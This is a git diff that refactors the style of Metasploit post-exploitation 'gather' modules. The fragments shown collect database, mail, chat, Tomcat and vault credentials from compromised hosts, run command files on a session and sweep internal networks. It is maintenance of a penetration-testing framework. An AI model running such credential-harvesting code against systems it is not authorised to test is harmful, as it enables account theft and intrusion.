@@ -736,7 +742,7 @@ class MetasploitModule < Msf::Post encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1] label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*') decrypted_data = '' if decrypted_data.nil? - vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password') + vault_data << decrypted_data if label == 'url' || label == 'username' || label == 'password' pointer = pointer + 4 + length end diff --git a/modules/post/multi/gather/maven_creds.rb b/modules/post/multi/gather/maven_creds.rb index fb8d8ffc47..8c8d910235 100644 --- a/modules/post/multi/gather/maven_creds.rb +++ b/modules/post/multi/gather/maven_creds.rb @@ -31,6 +31,11 @@ class MetasploitModule < Msf::Post core_channel_write ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) diff --git a/modules/post/multi/gather/minio_client.rb b/modules/post/multi/gather/minio_client.rb index 206fd40217..9c29f478e7 100644 --- a/modules/post/multi/gather/minio_client.rb +++ b/modules/post/multi/gather/minio_client.rb @@ -11,7 +11,7 @@ class MetasploitModule < Msf::Post info, 'Name' => 'Gather MinIO Client Key', 'Description' => %q{ - This is a module that searches for MinIO Client credentials on a windows remote host. + This module searches for MinIO Client credentials on a Windows host. }, 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 5e540358d8..6214af50f2 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -17,41 +17,50 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => %w[bsd linux osx unix win], - 'SessionTypes' => ['meterpreter'] + 'SessionTypes' => ['meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) register_options( [ OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]) - ] ) end - # Run Method for when run command is issued def run - print_status("Running module against #{sysinfo['Computer']}") - if !::File.exist?(datastore['RESOURCE']) - raise 'Resource File does not exist!' - else - ::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd| - next if cmd.strip.empty? - next if cmd[0, 1] == '#' + raise 'Resource File does not exist!' unless ::File.exist?(datastore['RESOURCE']) - begin - tmpout = "\n" - tmpout << "*****************************************\n" - tmpout << " Output of #{cmd}\n" - tmpout << "*****************************************\n" - print_status "Running command #{cmd.chomp}" - tmpout << cmd_exec(cmd.chomp) - vprint_status tmpout - command_log = store_loot('host.command', 'text/plain', session, tmpout, - "#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", "Command Output \'#{cmd.chomp}\'") - print_good("Command output saved to: #{command_log}") - rescue ::Exception => e - print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}") - end + hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer'] + print_status("Running module against #{hostname} (#{session.session_host})") + + ::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd| + next if cmd.strip.empty? + next if cmd.start_with?('#') + + begin + tmpout = "\n" + tmpout << "*****************************************\n" + tmpout << " Output of #{cmd}\n" + tmpout << "*****************************************\n" + print_status "Running command #{cmd.chomp}" + tmpout << cmd_exec(cmd.chomp) + vprint_status(tmpout) + command_log = store_loot( + 'host.command', + 'text/plain', + session, + tmpout, + "#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", + "Command Output '#{cmd.chomp}'" + ) + print_good("Command output saved to: #{command_log}") + rescue StandardError => e + print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}") end end end diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index 4df1154781..3a8d5288dc 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -18,7 +18,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], 'Platform' => %w[bsd linux osx unix], - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => [ 'shell' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end @@ -75,7 +80,7 @@ class MetasploitModule < Msf::Post end # save whatever remains of this last cred if it is worth saving - creds << cred if (cred[:host] && cred[:user] && cred[:pass]) + creds << cred if cred[:host] && cred[:user] && cred[:pass] end # print out everything we've found diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 4c3d8e33f9..66951c7139 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => ['Zach Grace '], 'Platform' => %w[linux bsd unix osx win], - 'SessionTypes' => %w[meterpreter shell] + 'SessionTypes' => %w[meterpreter shell], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end @@ -34,7 +39,7 @@ class MetasploitModule < Msf::Post files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) } when 'windows' if session.type != 'meterpreter' - print_error('Only meterpreter sessions are supported on windows hosts') + print_error('Only meterpreter sessions are supported on Windows hosts') return end @@ -58,21 +63,21 @@ class MetasploitModule < Msf::Post # Store the loot print_good("Downloading #{f}") pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file") - print_good "Postgres credentials file saved to #{pgpass_path}" + print_good("Postgres credentials file saved to #{pgpass_path}") # Store the creds parse_creds(f) end end # Store the creds to - def parse_creds(f) + def parse_creds(fname) cred_table = Rex::Text::Table.new( 'Header' => 'Postgres Data', 'Indent' => 1, 'Columns' => ['Host', 'Port', 'DB', 'User', 'Password'] ) - read_file(f).each_line do |entry| + read_file(fname).each_line do |entry| # skip comments next if entry.lstrip[0, 1] == '#' diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index c3d8b1a3ee..46199c734c 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -36,13 +36,17 @@ class MetasploitModule < Msf::Post stdapi_sys_config_getuid ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) register_options( [ OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]), - # Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]), ] ) end @@ -85,6 +89,7 @@ class MetasploitModule < Msf::Post home = '/home/' end + # @todo use Msf::Post::File if got_root? userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n") userdirs << "/root\n" @@ -115,22 +120,21 @@ class MetasploitModule < Msf::Post end def check_pidgin(purpledir) - path = '' print_status("Checking for Pidgin profile in: #{purpledir}") + session.fs.dir.foreach(purpledir) do |dir| if dir =~ /\.purple/ if @platform == :windows - print_status("Found #{purpledir}\\#{dir}") path = "#{purpledir}\\#{dir}" else - print_status("Found #{purpledir}/#{dir}") path = "#{purpledir}/#{dir}" end + print_status("Found #{path}") return path end end - return nil - endreturn nil + + nil end def get_pidgin_creds(paths) @@ -272,11 +276,11 @@ class MetasploitModule < Msf::Post creds << account print_status('Collected the following credentials:') - print_status(' Server: %s:%s' % [account['server'], account['port']]) - print_status(' Protocol: %s' % account['protocol']) - print_status(' Username: %s' % account['user']) - print_status(' Password: %s' % account['password']) - print_line('') + print_status(" Server: #{account['server']}:#{account['port']}") + print_status(" Protocol: #{account['protocol']}") + print_status(" Username: #{account['user']}") + print_status(" Password: #{account['password']}") + print_line end return creds @@ -313,11 +317,11 @@ class MetasploitModule < Msf::Post buddies << contact print_status('Collected the following contacts:') - print_status(' Buddy Name: %s' % contact['name']) - print_status(' Alias: %s' % contact['alias']) - print_status(' Protocol: %s' % contact['protocol']) - print_status(' Account: %s' % contact['account']) - print_line('') + print_status(" Buddy Name: #{contact['name']}") + print_status(" Alias: #{contact['alias']}") + print_status(" Protocol: #{contact['protocol']}") + print_status(" Account: #{contact['account']}") + print_line end end diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index dfbd900581..7cf205ac9c 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -14,14 +14,17 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => %w[bsd linux osx solaris win], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) register_options( [ - OptAddressRange.new('RHOSTS', [true, 'IP Range to perform ping sweep against.']), - ] ) end @@ -56,7 +59,7 @@ class MetasploitModule < Msf::Post ip_found = [] - while (!iplst.nil? && !iplst.empty?) + while !iplst.nil? && !iplst.empty? a = [] 1.upto session.max_threads do a << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_add| @@ -78,8 +81,9 @@ class MetasploitModule < Msf::Post a.map(&:join) end rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") + vprint_error(e.message) + rescue StandardError => e + print_status("The following error was encountered: #{e.class} #{e}") end ip_found.each do |ip| diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index a17858a363..9325248796 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => ['Jon Hart '], 'Platform' => %w[bsd linux osx unix], - 'SessionTypes' => %w[shell meterpreter] + 'SessionTypes' => %w[shell meterpreter], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index e9e1dc118d..292e10e748 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -23,6 +23,11 @@ class MetasploitModule < Msf::Post stdapi_net_resolve_hosts ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index b32d611c51..351e1a92c5 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -17,7 +17,12 @@ class MetasploitModule < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], - 'SessionTypes' => %w[shell] + 'SessionTypes' => %w[shell], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) diff --git a/modules/post/multi/gather/rubygems_api_key.rb b/modules/post/multi/gather/rubygems_api_key.rb index 892fb85ede..5a767560fc 100644 --- a/modules/post/multi/gather/rubygems_api_key.rb +++ b/modules/post/multi/gather/rubygems_api_key.rb @@ -21,7 +21,12 @@ class MetasploitModule < Msf::Post ], 'Platform' => %w[bsd linux osx unix], 'SessionTypes' => %w[shell], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index b6fdd8dca1..dba24333f5 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -17,34 +17,38 @@ class MetasploitModule < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] + 'SessionTypes' => [ 'meterpreter' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) register_options( [ - OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]), - ] ) end - # Run Method for when run command is issued def run - print_status("Running module against #{sysinfo['Computer']}") if !::File.exist?(datastore['RESOURCE']) raise 'Resource File does not exist!' - else - ::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd| - next if cmd.strip.empty? - next if cmd[0, 1] == '#' + end - begin - print_status "Running command #{cmd.chomp}" - session.console.run_single(cmd.chomp) - rescue ::Exception => e - print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}") - end + hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer'] + print_status("Running module against #{hostname} (#{session.session_host})") + + ::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd| + next if cmd.strip.empty? + next if cmd.start_with?('#') + + begin + print_status "Running command #{cmd.chomp}" + session.console.run_single(cmd.chomp) + rescue StandardError => e + print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}") end end end diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index ada486c6a1..7a2622dddd 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -35,6 +35,11 @@ class MetasploitModule < Msf::Post stdapi_fs_stat ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -46,10 +51,9 @@ class MetasploitModule < Msf::Post ) end - # Run Method for when run command is issued def run # syinfo is only on meterpreter sessions - print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil? + print_status("Running Skype enumeration against #{sysinfo['Computer']}") unless sysinfo.nil? # Ensure that SQLite3 gem is installed begin @@ -71,12 +75,12 @@ class MetasploitModule < Msf::Post next unless check_skype("#{p['dir']}/Library/Application Support/", p['name']) db_in_loot = download_db(p) - # Exit if file was not successfully downloaded - return if db_in_loot.nil? + + next if db_in_loot.nil? process_db(db_in_loot, p['name']) end - elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter')) + elsif ((session.platform = - 'windows')) && (session.type == 'meterpreter') # Iterate thru each user profile in a Windows System using Meterpreter Post API grab_user_profiles.each do |p| if check_skype(p['AppData'], p['UserName']) @@ -121,11 +125,13 @@ class MetasploitModule < Msf::Post file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact end - file_loc = store_loot('skype.config', - 'binary/db', - session, - 'main.db', - "Skype Configuration database for #{profile['UserName']}") + file_loc = store_loot( + 'skype.config', + 'binary/db', + session, + 'main.db', + "Skype Configuration database for #{profile['UserName']}" + ) file.each do |db| if session.type == 'meterpreter' @@ -138,7 +144,8 @@ class MetasploitModule < Msf::Post maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT']) if maindb.nil? print_error('Could not download the file. Set the TIMEOUT option to a higher number.') - return + file_loc = nil + break end # Saving the content as binary so it can be used output = ::File.open(file_loc, 'wb') @@ -185,12 +192,14 @@ class MetasploitModule < Msf::Post # Check if an account exists and if it does enumerate if not exit. if user_rows.length > 1 - user_info = store_loot('skype.accounts', - 'text/plain', - session, - '', - 'skype_accounts.csv', - "Skype User #{user} Account information from configuration database.") + user_info = store_loot( + 'skype.accounts', + 'text/plain', + session, + '', + 'skype_accounts.csv', + "Skype User #{user} Account information from configuration database." + ) print_good("Saving account information to #{user_info}") save_csv(user_rows, user_info) else diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 1b2d7f37d2..1bed095192 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post stdapi_fs_separator ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index c0f1ea33cc..1c8cdbfd0b 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -38,6 +38,11 @@ class MetasploitModule < Msf::Post stdapi_sys_config_getenv ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -89,20 +94,22 @@ class MetasploitModule < Msf::Post # The routine will attempt to parse the sqlite db if the PARSE option is true, # and that SQLite3 is installed on the user's box. # - def download_loot(p) + def download_loot(path) # These are the files we wanna grab for the directory for future decryption files = ['signons.sqlite', 'key3.db', 'cert8.db'] files.each do |item| loot = '' - # Downaload the file + # Download the file + # # @todo replace this with `Msf::Post::File.read_file` if session.type == 'meterpreter' - vprint_status("Downloading: #{p + item}") + vprint_status("Downloading: #{path + item}") begin - f = session.fs.file.new(p + item, 'rb') + f = session.fs.file.new(path + item, 'rb') loot << f.read until f.eof? - rescue ::Exception => e + rescue StandardError => e + vprint_error(e.message) ensure f.close end @@ -110,7 +117,7 @@ class MetasploitModule < Msf::Post cmd_show = (session.platform == 'windows') ? 'type' : 'cat' # The type command will add a 0x0a character in the file? Pff. # Gotta lstrip that. - loot = cmd_exec(cmd_show, "\"#{p + item}\"").lstrip + loot = cmd_exec(cmd_show, "\"#{path + item}\"").lstrip next if loot =~ /system cannot find the file specified|No such file/ end @@ -118,7 +125,7 @@ class MetasploitModule < Msf::Post ext = ::File.extname(item) ext = ext[1, ext.length] - path = store_loot( + loot_path = store_loot( "tb.#{item}", "binary/#{ext}", session, @@ -127,26 +134,27 @@ class MetasploitModule < Msf::Post "Thunderbird Raw File #{item}" ) - print_status("#{item} saved in #{path}") + print_status("#{item} saved in #{loot_path}") # Parse signons.sqlite next unless item =~ (/signons\.sqlite/) && datastore['PARSE'] print_status('Parsing signons.sqlite...') - data_tbl = parse(path) + data_tbl = parse(loot_path) if data_tbl.nil? || data_tbl.rows.empty? print_status('No data parsed') - else - path = store_loot( - "tb.parsed.#{item}", - 'text/plain', - session, - data_tbl.to_csv, - "thunderbird_parsed_#{item}", - "Thunderbird Parsed File #{item}" - ) - print_status("Parsed signons.sqlite saved in: #{path}") + next end + + loot_path = store_loot( + "tb.parsed.#{item}", + 'text/plain', + session, + data_tbl.to_csv, + "thunderbird_parsed_#{item}", + "Thunderbird Parsed File #{item}" + ) + print_status("Parsed signons.sqlite saved in: #{loot_path}") end end @@ -167,8 +175,8 @@ class MetasploitModule < Msf::Post # Load the database db = SQLite3::Database.new(file) begin - columns, *rows = db.execute('select * from moz_logins') - rescue ::Exception => e + _, *rows = db.execute('select * from moz_logins') + rescue StandardError => e print_error("doh! #{e}") return nil ensure diff --git a/modules/post/multi/gather/tomcat_gather.rb b/modules/post/multi/gather/tomcat_gather.rb index 85f4b525bb..31780e0488 100644 --- a/modules/post/multi/gather/tomcat_gather.rb +++ b/modules/post/multi/gather/tomcat_gather.rb @@ -20,18 +20,23 @@ class MetasploitModule < Msf::Post 'Koen Riepe ', # Module author ], 'Platform' => [ 'win', 'linux' ], - 'SessionTypes' => [ 'meterpreter' ] + 'SessionTypes' => [ 'meterpreter' ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end - $username = [] - $password = [] - $port = [] - $paths = [] + @username = [] + @password = [] + @port = [] + @paths = [] def report_creds(user, pass, port) - return if (user.empty? || pass.empty?) + return if user.blank? || pass.blank? # Assemble data about the credential objects we will be creating credential_data = { @@ -46,7 +51,7 @@ class MetasploitModule < Msf::Post credential_core = create_credential(credential_data) - if !port.is_a? Integer + if !port.is_a?(Integer) port = 8080 print_status("Port not an Integer, defaulting to port #{port} for creds database") end @@ -63,67 +68,68 @@ class MetasploitModule < Msf::Post create_credential_login(login_data) end - def gatherwin + def gather_win print_status('Windows OS detected, enumerating services') - tomcatHomeArray = [] + tomcat_home_array = [] service_list.each do |service| if service[:name].downcase.include? 'tomcat' print_good('Tomcat service found') - tomcatHomeArray.push(service_info(service[:name])[:path].split('\\bin\\')[0]) + tomcat_home_array.push(service_info(service[:name])[:path].split('\\bin\\')[0]) end end - if !tomcatHomeArray.empty? - tomcatHomeArray.each do |tomcat_home| - if tomcat_home.include? '"' - tomcat_home = tomcat_home.split('"')[1] - end + if tomcat_home_array.empty? + print_status('No Tomcat home can be determined') + return + end - conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml" + tomcat_home_array.each do |tomcat_home| + if tomcat_home.include? '"' + tomcat_home = tomcat_home.split('"')[1] + end - if exist?(conf_path) - print_status("#{conf_path} found!") - xml = read_file(conf_path).split("\n") + conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml" - comment_block = false - xml.each do |line| - if line.include?('')) && comment_block - comment_block = false - end - end - end + if exist?(conf_path) + print_status("#{conf_path} found!") + xml = read_file(conf_path).split("\n") - port_path = "#{tomcat_home}\\conf\\server.xml" - if exist?(port_path) - xml = read_file(port_path).split("\n") - end comment_block = false xml.each do |line| - if line.include?('')) && comment_block + elsif line.include?('-->') && comment_block comment_block = false end end end - else - print_status('No Tomcat home can be determined') + + port_path = "#{tomcat_home}\\conf\\server.xml" + if exist?(port_path) + xml = read_file(port_path).split("\n") + end + comment_block = false + xml.each do |line| + if line.include?('') && comment_block + comment_block = false + end + end end end - def gathernix + def gather_nix print_status('Unix OS detected') user_files = cmd_exec('locate tomcat-users.xml').split("\n") if !user_files.empty? @@ -136,12 +142,12 @@ class MetasploitModule < Msf::Post comment_block = false xml.each do |line| if line.include?('')) && comment_block + elsif line.include?('-->') && comment_block comment_block = false end end @@ -165,13 +171,13 @@ class MetasploitModule < Msf::Post xml.each do |line| if line.include?('')) && comment_block + elsif line.include?('-->') && comment_block comment_block = false end end @@ -186,29 +192,29 @@ class MetasploitModule < Msf::Post def run if sysinfo - if sysinfo['OS'].include? 'Windows' - gatherwin + if sysinfo['OS'].include?('Windows') + gather_win else - gathernix + gather_nix end else print_error('Incompatible session type, sysinfo is not available.') end - if $username.empty? + if @username.empty? print_status('No user credentials have been found') end i = 0 - while i < $username.count - print_good("Username and password found in #{$paths[i]} - #{$username[i]}:#{$password[i]}") - report_creds($username[i], $password[i], $port[i]) + while i < @username.count + print_good("Username and password found in #{@paths[i]} - #{@username[i]}:#{@password[i]}") + report_creds(@username[i], @password[i], @port[i]) i += 1 end - $username = [] - $password = [] - $port = [] - $paths = [] + @username = [] + @password = [] + @port = [] + @paths = [] end end diff --git a/modules/post/multi/gather/ubiquiti_unifi_backup.rb b/modules/post/multi/gather/ubiquiti_unifi_backup.rb index d2f0908453..cfb2aa1381 100644 --- a/modules/post/multi/gather/ubiquiti_unifi_backup.rb +++ b/modules/post/multi/gather/ubiquiti_unifi_backup.rb @@ -37,7 +37,12 @@ class MetasploitModule < Msf::Post ['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'], ['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'], ['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105'] - ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) @@ -47,61 +52,70 @@ class MetasploitModule < Msf::Post ]) end - def find_save_files(d) + def find_save_files(directory) case session.platform when 'windows' - files = session.fs.dir.foreach(d) + files = session.fs.dir.foreach(directory) else # when 'linux', 'osx', 'unifi' # osx will have a space in it by default, so we wrap the directory in quotes - files = cmd_exec("ls '#{d}'").split(/\r\n|\r|\n/) + files = cmd_exec("ls '#{directory}'").split(/\r\n|\r|\n/) end + files.each do |file| - full = "#{d}/#{file}" + full = "#{directory}/#{file}" if directory?(full) && !['.', '..'].include?(file) find_save_files(full) next end - unless file.end_with? '.unf' - next - end + next unless file.end_with?('.unf') f = read_file(full) if f.nil? print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!") next end - loot_path = store_loot('ubiquiti.unifi.backup', 'application/zip', session, - f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip') + + loot_path = store_loot( + 'ubiquiti.unifi.backup', 'application/zip', session, + f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip' + ) print_good("File #{full} saved to #{loot_path}") decrypted_data = decrypt_unf(f) if decrypted_data.nil? || decrypted_data.empty? print_error("Unable to decrypt #{loot_path}") next end - loot_path = store_loot('ubiquiti.unifi.backup_decrypted', 'application/zip', session, - decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip') + loot_path = store_loot( + 'ubiquiti.unifi.backup_decrypted', 'application/zip', session, + decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip' + ) print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`") + # ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms # tested on kali repaired = repair_zip(loot_path) if repaired.nil? - fail_with Failure::Unknown, "Repair failed on #{loot_path.path}" + fail_with(Failure::Unknown, "Repair failed on #{loot_path.path}") end - loot_path = store_loot('ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session, - repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip') + + loot_path = store_loot( + 'ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session, + repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip' + ) print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.") config_db = extract_and_process_db(loot_path) if config_db.nil? - fail_with Failure::Unknown, 'Unable to locate db.gz config database file' + fail_with(Failure::Unknown, 'Unable to locate db.gz config database file') end print_status('Converting BSON to JSON.') unifi_config_db_json = bson_to_json(config_db) if unifi_config_db_json == {} - fail_with Failure::Unknown, 'Error in file conversion from BSON to JSON.' + fail_with(Failure::Unknown, 'Error in file conversion from BSON to JSON.') end + unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json) end end @@ -140,7 +154,7 @@ class MetasploitModule < Msf::Post # read system.properties if datastore['SYSTEMFILE'] - sprop = datastore['SYSTEMFILE'] + datastore['SYSTEMFILE'] vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}") end @@ -154,7 +168,7 @@ class MetasploitModule < Msf::Post loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop) vprint_status("File #{sprop} saved to #{loot_path}") print_good("Read UniFi Controller file #{sprop}") - rescue Rex::Post::Meterpreter::RequestError => e + rescue Rex::Post::Meterpreter::RequestError print_error("Failed to read #{sprop}") data = '' end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 563a7cf176..c088a7603f 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -25,6 +25,11 @@ class MetasploitModule < Msf::Post android_* ] } + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] } ) ) @@ -94,10 +99,13 @@ class MetasploitModule < Msf::Post if wlan_list.blank? print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.') return - elsif datastore['APIKEY'].empty? + end + + if datastore['APIKEY'].empty? print_error('Google API key is required.') return end + g = Rex::Google::Geolocation.new g.set_api_key(datastore['APIKEY']) wlan_list.each do |wlan| @@ -218,8 +226,9 @@ class MetasploitModule < Msf::Post print_error("The target's platform, #{session.platform}, is not supported at this time.") return nil end - rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError - rescue ::Exception => e + rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + rescue StandardError => e print_status("The following Error was encountered: #{e.class} #{e}") end